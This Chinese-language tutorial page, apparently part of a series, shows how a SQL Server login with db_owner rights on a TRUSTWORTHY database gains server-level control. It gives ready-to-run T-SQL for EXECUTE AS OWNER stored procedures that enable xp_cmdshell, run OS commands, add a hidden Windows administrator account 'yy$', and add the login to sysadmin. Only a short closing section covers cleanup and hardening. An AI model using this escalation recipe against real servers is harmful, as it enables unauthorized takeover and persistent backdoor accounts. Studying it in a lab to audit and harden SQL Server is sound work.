SQL SERVER数据库账号提取服务器权限(二)

2025-09-29 08:49:37

1、一、 新建数据库和账号

create database testDB;      --Create database

select SUSER_SNAME(owner_sid) from sys.databases where name = 'testDB'    --verify sa is the owner of the application database

create login testDBuser with password = 'mYPass@word'     --Create login

use testDB

go

alter login testDBuser with default_database = testDB     --set testDB is the default database of the login

create user testuser from login testDBuser                --crete user

2、二、分配数据库db_owner权限

--set db_owner role of the user

exec sp_addrolemember db_owner,testuser    

-- Verify the user was added as db_owner

select rp.name as database_role, mp.name as database_user

from sys.database_role_members drm

join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)

join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

3、三、设置测试数据库为可信

--设置testDB数据库为可信

ALTER DATABASE testDB SET TRUSTWORTHY ON

--查询可信数据库信息,testDB以及MSDB数据库被标记成可信

SELECT a.name,b.is_trustworthy_on

 FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name;

SQL SERVER数据库账号提取服务器权限(二)

4、四、利用存储过程执行提权命令一

使用testDBuser用户登陆SQL Server,然后执行TSQL,创建一个名为sp_elevate1的存储过程。这个存储过程在OWNER权限中运行,这是sa帐户存在的情况。由于是使用sa权限登录的,所以这可能将testDBuser加入系统管理员组。

use testDB

go

create procedure sp_elevate1

with execute as owner

as

exec sp_configure 'show advanced option',1   -- Enable show options

reconfigure

exec sp_configure 'xp_cmdshell',1           -- Enable xp_cmdshell

reconfigure

exec master..xp_cmdshell 'whoami'

exec master.dbo.xp_cmdshell 'query user'

go

exec sp_elevate1

SQL SERVER数据库账号提取服务器权限(二)

5、use testDB

go

CREATE PROCEDURE xxx

WITH EXECUTE AS OWNER

AS

exec master..xp_cmdshell 'net user yy$ Yy@hack.com /add'

exec master..xp_cmdshell 'net localgroup administrators yy$ /add'

SQL SERVER数据库账号提取服务器权限(二)

6、五、利用存储过程执行提权命令二

使用testDBuser用户登陆SQL Server,然后执行TSQL,创建一个名为sp_elevate2的存储过程。

USE testDB

GO

CREATE PROCEDURE sp_elevate2

WITH EXECUTE AS OWNER

AS

EXEC sp_addsrvrolemember 'testDBuser','sysadmin'

GO

exec sp_elevate2

SQL SERVER数据库账号提取服务器权限(二)

7、SELECT is_srvrolemember('sysadmin')

SQL SERVER数据库账号提取服务器权限(二)

8、六、删除账号并重新配置数据库

1、net user yy$ /del

2、将被影响的数据库“TRUSTWORTHY”设置为off(包括MSDB), 防止在存储过程中执行xp_cmdshell和一些其他恶意的操作

3、关闭数据库中有sysadmin权限的用户具有sysadmin权限

声明:本网站引用、摘录或转载内容仅供网站访问者交流或参考,不代表本站立场,如存在版权或非法内容,请联系站长删除,联系邮箱:site.kefu@qq.com。
猜你喜欢